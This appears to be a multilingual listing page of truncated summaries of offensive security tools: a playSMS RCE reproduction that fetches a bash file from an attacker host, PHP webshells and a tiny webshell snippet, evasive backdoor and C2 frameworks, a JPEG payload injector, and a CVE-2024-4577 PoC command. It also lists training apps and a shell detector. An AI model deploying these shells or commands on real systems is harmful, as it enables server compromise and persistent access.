CVE-2021-40373

CVE-playsms 在 playsms 1.4.3 中存在一个漏洞，可能允许潜在攻击者执行远程代码。 如何复现 RCE（shell）： https://playsms.org/ docker pull playsms/playsms:1.4.3 docker run -d -p 80:80 playsms/playsms 使用 admin:admin 登录 http://127.0.0.1/index.php?app=main&inc=coremainconfig&op=mainconfigtabs-information-page 在攻击者机器上托管恶意 bash 文件 使用 wg...

php-jpeg-injector

php-jpeg-injector Injects php payloads into jpeg images. Related to this post. Use Case You have a web application that runs a jpeg image through PHP's GD graphics library. Description This script injects PHP code into a specified jpeg image. The web application will execute the payload if it...

php-jpeg-injector

php-jpeg-injector PHP 페이로드를 JPEG 이미지에 주입합니다. 이 게시물과 관련이 있습니다. 사용 사례 JPEG 이미지를 PHP의 GD 그래픽 라이브러리를 통해 처리하는 웹 애플리케이션이 있습니다. 설명 이 스크립트는 지정된 JPEG 이미지에 PHP 코드를 주입합니다. 웹 애플리케이션이 이미지를 해석할 경우 페이로드를 실행합니다. 입력 JPEG이 압축되지 않았는지 확인하세요! 사용법 python3 gd-jpeg.py JPEG PAYLOAD OUTPUTJPEG 예: python3 gd-jpeg.py cat.jp...

OWASPWebGoatPHP

WebGoatPHP OWASP WebGoatPHPは、OWASP WebGoatをPHPおよびMySQL/SQLiteデータベースに移植したものです。目的は、チャレンジ形式のレッスンを提供することで、Webアプリケーションセキュリティのための対話型学習環境を作ることです。各チャレンジでは、ユーザーが脆弱性を悪用して理解を示す必要があります。 WebGoatPHPは、シングルモード、ワークショップモード、コンテストモード、セキュアコーディングモードの4つの異なるモードをサポートしています。 プロジェクト提案 プロジェクトの提案はこちらからご覧いただけます。 スクリーンショット...

PHP-Shell-Detector

웹 쉘 탐지기 웹 쉘 탐지기는 php/cgiperl/asp/aspx 쉘을 찾고 식별하는 데 도움을 주는 php 스크립트입니다. 웹 쉘 탐지기는 '웹 쉘'을 최대 99%까지 식별하는 데 도움을 주는 '웹 쉘' 시그니처 데이터베이스를 보유하고 있습니다. 최신 자바스크립트 및 CSS 기술을 사용하여, 웹 쉘 탐지기는 가볍고 사용자 친화적인 인터페이스를 제공합니다. 웹 쉘 탐지기는 MIT 라이선스 http://www.opensource.org/licenses/mit-license.php 하에 배포됩니다. 콘솔 버전 python:...

github-search

github-search GitHub上で検索を実行するためのツール集。 インストール root@kitploit: git clone https://github.com/gwen001/github-search cd github-search pip3 install -r requirements.txt ほとんどの場合、GitHubは検索を実行するためにトークンを必要とします。 クローンしたリポジトリディレクトリに .tokens ファイルを作成し、1行に1つのトークンを記述できます。 または 以下のように環境変数（推奨）を設定することもできます:...

b374k

b374k shell 3.2 This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser Features : File manager view, edit, rename, delete, upload, download, archiver, etc Search file,...

b374k

b374k 쉘 3.2 이 PHP 쉘은 시스템 또는 웹 관리자가 cpanel, ssh, ftp 등을 사용하지 않고 원격 관리를 수행할 수 있는 유용한 도구입니다. 모든 작업은 웹 브라우저 내에서 이루어집니다. 기능: 파일 관리자 보기, 편집, 이름 변경, 삭제, 업로드, 다운로드, 압축 등 파일, 파일 내용, 폴더 검색 정규식 사용 가능 명령 실행 스크립트 실행 php, perl, python, ruby, java, node.js, c 바인드/리버스 쉘 연결을 통한 쉘 제공 간단한 패킷 크래프터 DBMS 연결 mysql,...

cve-2024-4577

cve-2024-4577 poc Auf Schwachstellen prüfen python cve-2024-4577.py -u http://172.16.128.133 Nachdem eine Schwachstelle erkannt wurde, können Sie mit -c einen benutzerdefinierten Befehl ausführen python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...

DVWA

DAMN VULNERABLE WEB APPLICATION Damn Vulnerable Web Application DVWA è un'applicazione web PHP/MariaDB che è dannatamente vulnerabile. Il suo principale obiettivo è: essere d'aiuto a professionisti di sicurezza informatica per testare le loro skill e i loro strumenti in un ambiente legale,aiutare...

DarkSide

Uno strumento con un'interfaccia utente fantastica. Caratteristiche: Dashboard Hacker Notizie Hacker thehackernews.com/ Nuovi Exploit Exploit-db.com Video Tutorial Hacking youtube.com Gli Ultimi Prezzi delle Criptovalute Rial, USD Raccolta Informazioni Bypass CloudFlare Rilevamento CMS Traceroute...

p0wny-shell

p0wny@shell: -- Shell PHP monofile p0wny@shell: è una shell PHP monofile molto basilare. Può essere usata per eseguire rapidamente comandi su un server quando si esegue il pentesting di un'applicazione PHP. Usala con cautela: questo script rappresenta un rischio per la sicurezza del server...

bantam

Bantam Un avanzato strumento di gestione delle backdoor PHP, con un'impronta server leggera, comunicazione multi-thread e un avanzato strumento di generazione e offuscamento del payload. Include crittografia end-to-end con chiavi di crittografia uniche per richiesta e streaming di payload...

bantam

Bantam An advanced PHP backdoor management tool, with a lightweight server footprint, multi-threaded communication, and an advanced payload generation and obfuscation tool. Features end to end encryption with request unique encryption keys, and payload streaming designed to bypass WAF, IDS, SIEM...

CVE-2025-7461

CVE-2025-7461: Analisi della vulnerabilità di SQL Injection nel sistema di e-commerce Modern Bag 🌐 Lingua / 语言 : English | 简体中文 Panoramica della vulnerabilità Database delle vulnerabilità: https://vuldb.com/?id.316112 Sorgente del progetto:...

XPL-SEARCH

XPL SEARCH root@kitploit: Cerca exploit/vulnerabilità in più database online! XPL SEARCH è uno strumento multipiattaforma Windows e Linux, sviluppato in PHP con l'obiettivo di aiutare la comunità hacker a trovare exploit o vulnerabilità, utilizzando database online. Di seguito l'elenco dei databa...

Chankro

Chankro Il tuo strumento preferito per bypassare disablefunctions e openbasedir nei tuoi pentest. Come funziona In Linux, PHP chiama un binario sendmail quando viene eseguita la funzione mail. Se abbiamo putenv permesso, possiamo impostare la variabile d'ambiente "LDPRELOAD", così da preloadare u...

nano

nano Nano é uma família de webshells PHP que passaram por code golf para serem extremamente furtivos e eficientes. Coloque-o em watch, talvez; continuarei a enviar mais webshells aqui. Nano root@kitploit: ?=$GETp==&&$GETf; Recursos 35 bytes de tamanho Não pode ser detectado por scanners estáticos...

phpsploit

Framework C2 completo che persiste silenziosamente sul webserver tramite una riga di PHP polimorfica...

msmap

MSMAP Msmap is a Memory WebShell Generator. Compatible with various Containers, Components, Encoder, WebShell / Proxy / Killer and Management Clients. 简体中文 The idea behind I, The idea behind II, The idea behind III Feature WIP Function Dynamic Menu Automatic Compilation Generate Script...